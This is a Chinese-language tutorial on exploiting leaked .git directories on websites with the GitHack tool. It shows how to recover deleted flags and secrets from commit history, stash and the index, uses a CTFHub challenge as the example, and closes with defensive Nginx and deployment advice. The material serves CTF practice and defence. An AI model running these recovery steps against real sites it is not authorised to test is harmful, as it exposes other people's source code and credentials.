前言
在 Web 安全中,.git 目录泄露是一种常见的信息泄露漏洞。当开发人员将代码直接部署到 Web 目录时,如果未正确配置,访问者可能直接下载到 .git 文件夹,从而获取完整的源代码、提交历史、甚至敏感信息(如密码、API Key、Flag 等)。
GitHack 是一款专门用于利用 .git 泄露的工具,支持三种恢复模式,能够还原历史版本、提取 stash 内容、从 index 文件恢复代码。
依赖安装
GitHack 本身不需要额外的 Python 库,但依赖系统中已安装 git 命令。
1# Ubuntu/Debian
2sudo apt-get install git
3
4# macOS
5brew install git
6
7# Windows 下载 Git for Windows
基本使用
1python GitHack.py http://目标网站/.git/
恢复后的文件默认存放在 dist/目标域名/ 目录下。
工作流程
GitHack 会依次尝试三种恢复方式:
- 直接 Clone:尝试用
git clone直接克隆仓库 - 目录遍历:检测是否支持目录遍历,逐个文件下载
- 缓存恢复:从
.git/index、commit 记录、objects 缓存中恢复文件
三大核心利用方式
一、Log —— 历史提交中找回删除的内容
git log 会记录仓库的所有提交历史。即使敏感文件在最新版本中被删除,通过查看历史提交仍可找回。
常用命令:
1# 查看提交历史
2git log --oneline
3
4# 查看某次提交的详细变更
5git show <commit-hash>
6
7# 对比两次提交之间的差异
8git diff <commit-a> <commit-b>
实战场景:
在 CTF 题目中,经常遇到 “remove flag” 的提交,flag 文件被删除,但在 “add flag” 提交中仍存在:
1git log --oneline
2# 输出:
3# 7a65366 remove flag
4# 192c08d add flag
5# 738fcad init
6
7git show 192c08d
8# 即可看到 add flag 提交中新增的 flag 文件内容
二、Stash —— 藏匿在贮藏区中的秘密
git stash 用于临时保存工作进度。开发人员可能将修改后的敏感内容 stash 起来,但忘记清理,导致这些信息随 .git 目录一同泄露。
常用命令:
1# 列出所有 stash
2git stash list
3
4# 查看 stash 的修改概览
5git stash show stash@{0}
6
7# 查看 stash 的详细 diff(推荐)
8git stash show -p stash@{0}
9
10# 应用 stash 到工作区
11git stash apply stash@{0} # 保留 stash
12git stash pop stash@{0} # 应用并删除 stash
实战场景:
某个 CTF 题目的提交历史中,flag 文件内容是 where is flag,看似没有价值。但检查 stash 后发现:
1git stash list
2# stash@{0}: WIP on master: 192c08d add flag
3
4git stash show -p
5# diff 显示文件内容从 "where is flag" 变成了真正的 flag
结论: 恢复 .git 后,除了看 git log,一定别忘了执行 git stash list。
三、Index —— 从暂存区恢复未提交的代码
.git/index 文件是 Git 的暂存区索引,记录了当前工作目录中文件的快照。即使某些文件没有被正式提交到 commit 中,只要被 git add 过,就可能从 index 中恢复。
GitHack 的第三种恢复模式会自动解析 index 文件,从中提取 blob 对象并恢复到工作目录。
手动解析 index(了解原理):
1# 使用 git ls-files 查看暂存区中的文件列表
2cd dist/目标域名/
3git ls-files --stage
4
5# 使用 git checkout -- <file> 恢复暂存区中的文件版本
6git checkout -- flag.txt
实战价值:
- 开发者可能
git add了敏感文件后又git rm --cached移除,但 index 历史仍可能保留痕迹 - 在
.git泄露场景下,GitHack 会自动从 index 重建文件树,无需手动操作
完整实战流程
以 CTFHub .git 泄露题目为例:
1# 1. 使用 GitHack 恢复仓库
2python GitHack.py http://challenge-xxxx.sandbox.ctfhub.com:10800/.git/
3
4# 2. 进入恢复目录
5cd dist/challenge-xxxx.sandbox.ctfhub.com_10800/
6
7# 3. 查看提交历史
8git log --oneline
9
10# 4. 查看 stash
11git stash list
12git stash show -p
13
14# 5. 检查 index 恢复出的文件
15ls -la
防御建议
禁止 Web 访问
.git目录 Nginx 配置示例:1location ~ /\.git { 2 deny all; 3 return 403; 4}部署前清理
.git目录 生产环境只部署编译后的产物,不携带.git文件夹。敏感信息不提交到仓库 使用
.gitignore忽略配置文件,密码通过环境变量注入。定期审计提交历史 使用
git-filter-repo或BFG Repo-Cleaner清理历史中的敏感数据。
总结
| 利用方式 | 查看命令 | 适用场景 |
|---|---|---|
| Log | git log / git show | 找回历史提交中被删除的文件 |
| Stash | git stash list / git stash show -p | 发现开发者临时藏起来的修改 |
| Index | GitHack 自动恢复 / git ls-files | 恢复未提交但已 add 的代码 |
.git 泄露的危害远不止源代码泄露,完整的 commit 历史、stash、index 都可能成为突破口。恢复后务必全面检查这三个区域。